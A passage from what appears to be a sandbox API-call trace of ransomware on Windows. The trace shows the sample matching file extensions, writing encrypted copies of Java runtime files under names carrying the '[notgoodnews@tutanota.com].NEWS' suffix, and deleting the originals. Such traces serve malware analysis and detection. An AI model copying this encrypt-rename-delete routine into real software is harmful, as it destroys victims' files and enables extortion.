44 [0159.435] lstrlenW (lpString=".1cd") returned 4 [0159.435] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString=".jpg") returned 4 [0159.435] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.435] lstrlenW (lpString=".doc") returned 4 [0159.435] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".docx") returned 5 [0159.436] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0159.436] lstrlenW (lpString=".pdf") returned 4 [0159.436] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".xls") returned 4 [0159.436] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".xlsx") returned 5 [0159.436] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0159.436] lstrlenW (lpString=".ppt") returned 4 [0159.436] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.436] lstrlenW (lpString=".zip") returned 4 [0159.436] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".rar") returned 4 [0159.436] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".bz2") returned 4 [0159.436] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString=".7z") returned 3 [0159.436] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0159.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.436] lstrlenW (lpString=".dbf") returned 4 [0159.436] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.436] lstrlenW (lpString=".1cd") returned 4 [0159.436] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0159.436] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0159.436] lstrlenW (lpString=".jpg") returned 4 [0159.436] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0159.436] lstrcmpiW (lpString1=".pf", lpString2=".NEWS") returned 1 [0159.436] lstrlenW (lpString="GRAY.pf") returned 7 [0159.436] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.437] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=632) returned 1 [0159.437] CloseHandle (hObject=0x3e0) returned 1 [0159.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0159.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.437] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.438] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.438] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.438] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.464] GetLastError () returned 0x0 [0159.464] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x278, lpOverlapped=0x0) returned 1 [0159.465] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x280, lpOverlapped=0x0) returned 1 [0159.467] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.467] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe2, lpOverlapped=0x0) returned 1 [0159.467] SetEndOfFile (hFile=0x44c) returned 1 [0159.467] CloseHandle (hObject=0x44c) returned 1 [0159.467] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.467] SetEndOfFile (hFile=0x3e0) returned 1 [0159.472] CloseHandle (hObject=0x3e0) returned 1 [0159.473] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.473] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0159.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.474] lstrlenW (lpString=".doc") returned 4 [0159.474] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".docx") returned 5 [0159.474] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0159.474] lstrlenW (lpString=".pdf") returned 4 [0159.474] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".xls") returned 4 [0159.474] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".xlsx") returned 5 [0159.474] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0159.474] lstrlenW (lpString=".ppt") returned 4 [0159.474] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.474] lstrlenW (lpString=".zip") returned 4 [0159.474] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".rar") returned 4 [0159.474] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".bz2") returned 4 [0159.474] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0159.474] lstrlenW (lpString=".7z") returned 3 [0159.474] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString=".dbf") returned 4 [0159.475] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString=".1cd") returned 4 [0159.475] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString=".jpg") returned 4 [0159.475] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString=".doc") returned 4 [0159.475] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString=".docx") returned 5 [0159.475] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0159.475] lstrlenW (lpString=".pdf") returned 4 [0159.475] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString=".xls") returned 4 [0159.475] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString=".xlsx") returned 5 [0159.475] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0159.475] lstrlenW (lpString=".ppt") returned 4 [0159.475] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.475] lstrlenW (lpString=".zip") returned 4 [0159.475] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString=".rar") returned 4 [0159.475] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0159.475] lstrlenW (lpString=".bz2") returned 4 [0159.476] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0159.476] lstrlenW (lpString=".7z") returned 3 [0159.476] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.476] lstrlenW (lpString=".dbf") returned 4 [0159.476] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0159.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.476] lstrlenW (lpString=".1cd") returned 4 [0159.476] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0159.476] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0159.476] lstrlenW (lpString=".jpg") returned 4 [0159.476] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0159.476] lstrcmpiW (lpString1=".pf", lpString2=".NEWS") returned 1 [0159.476] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0159.476] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.480] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=1044) returned 1 [0159.480] CloseHandle (hObject=0x3e0) returned 1 [0159.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0159.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.481] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.481] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.481] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.482] GetLastError () returned 0x0 [0159.482] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x414, lpOverlapped=0x0) returned 1 [0159.488] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x420, lpOverlapped=0x0) returned 1 [0159.489] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.489] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xee, lpOverlapped=0x0) returned 1 [0159.489] SetEndOfFile (hFile=0x44c) returned 1 [0159.489] CloseHandle (hObject=0x44c) returned 1 [0159.493] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.493] SetEndOfFile (hFile=0x3e0) returned 1 [0159.572] CloseHandle (hObject=0x3e0) returned 1 [0159.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.572] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0159.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.573] lstrlenW (lpString=".doc") returned 4 [0159.573] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0159.573] lstrlenW (lpString=".docx") returned 5 [0159.573] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0159.573] lstrlenW (lpString=".pdf") returned 4 [0159.573] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0159.573] lstrlenW (lpString=".xls") returned 4 [0159.573] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0159.573] lstrlenW (lpString=".xlsx") returned 5 [0159.573] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0159.573] lstrlenW (lpString=".ppt") returned 4 [0159.573] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0159.573] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.573] lstrlenW (lpString=".zip") returned 4 [0159.573] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0159.573] lstrlenW (lpString=".rar") returned 4 [0159.573] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".bz2") returned 4 [0159.574] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".7z") returned 3 [0159.574] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString=".dbf") returned 4 [0159.574] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString=".1cd") returned 4 [0159.574] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString=".jpg") returned 4 [0159.574] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString=".doc") returned 4 [0159.574] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".docx") returned 5 [0159.574] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0159.574] lstrlenW (lpString=".pdf") returned 4 [0159.574] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".xls") returned 4 [0159.574] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".xlsx") returned 5 [0159.574] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0159.574] lstrlenW (lpString=".ppt") returned 4 [0159.574] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.574] lstrlenW (lpString=".zip") returned 4 [0159.574] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".rar") returned 4 [0159.574] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".bz2") returned 4 [0159.574] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0159.574] lstrlenW (lpString=".7z") returned 3 [0159.574] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.575] lstrlenW (lpString=".dbf") returned 4 [0159.575] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0159.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.575] lstrlenW (lpString=".1cd") returned 4 [0159.575] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0159.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56 [0159.575] lstrlenW (lpString=".jpg") returned 4 [0159.575] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0159.575] lstrcmpiW (lpString1=".pf", lpString2=".NEWS") returned 1 [0159.575] lstrlenW (lpString="PYCC.pf") returned 7 [0159.575] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.576] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=274474) returned 1 [0159.576] CloseHandle (hObject=0x3e0) returned 1 [0159.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0159.576] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0159.576] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.576] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0159.577] GetLastError () returned 0x0 [0159.577] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4302a, lpOverlapped=0x0) returned 1 [0159.589] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x43030, lpOverlapped=0x0) returned 1 [0159.595] ReadFile (in: hFile=0x3e0, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.595] WriteFile (in: hFile=0x44c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0xe2, lpOverlapped=0x0) returned 1 [0159.595] SetEndOfFile (hFile=0x44c) returned 1 [0159.596] CloseHandle (hObject=0x44c) returned 1 [0159.596] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.596] SetEndOfFile (hFile=0x3e0) returned 1 [0159.861] CloseHandle (hObject=0x3e0) returned 1 [0159.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.861] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0159.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.862] lstrlenW (lpString=".doc") returned 4 [0159.862] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0159.862] lstrlenW (lpString=".docx") returned 5 [0159.862] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0159.862] lstrlenW (lpString=".pdf") returned 4 [0159.862] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0159.862] lstrlenW (lpString=".xls") returned 4 [0159.862] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".xlsx") returned 5 [0159.863] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0159.863] lstrlenW (lpString=".ppt") returned 4 [0159.863] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString=".zip") returned 4 [0159.863] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".rar") returned 4 [0159.863] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".bz2") returned 4 [0159.863] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".7z") returned 3 [0159.863] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString=".dbf") returned 4 [0159.863] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString=".1cd") returned 4 [0159.863] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString=".jpg") returned 4 [0159.863] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0159.863] lstrlenW (lpString=".doc") returned 4 [0159.863] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0159.863] lstrlenW (lpString=".docx") returned 5 [0159.863] lstrcmpiW (lpString1=".docx", 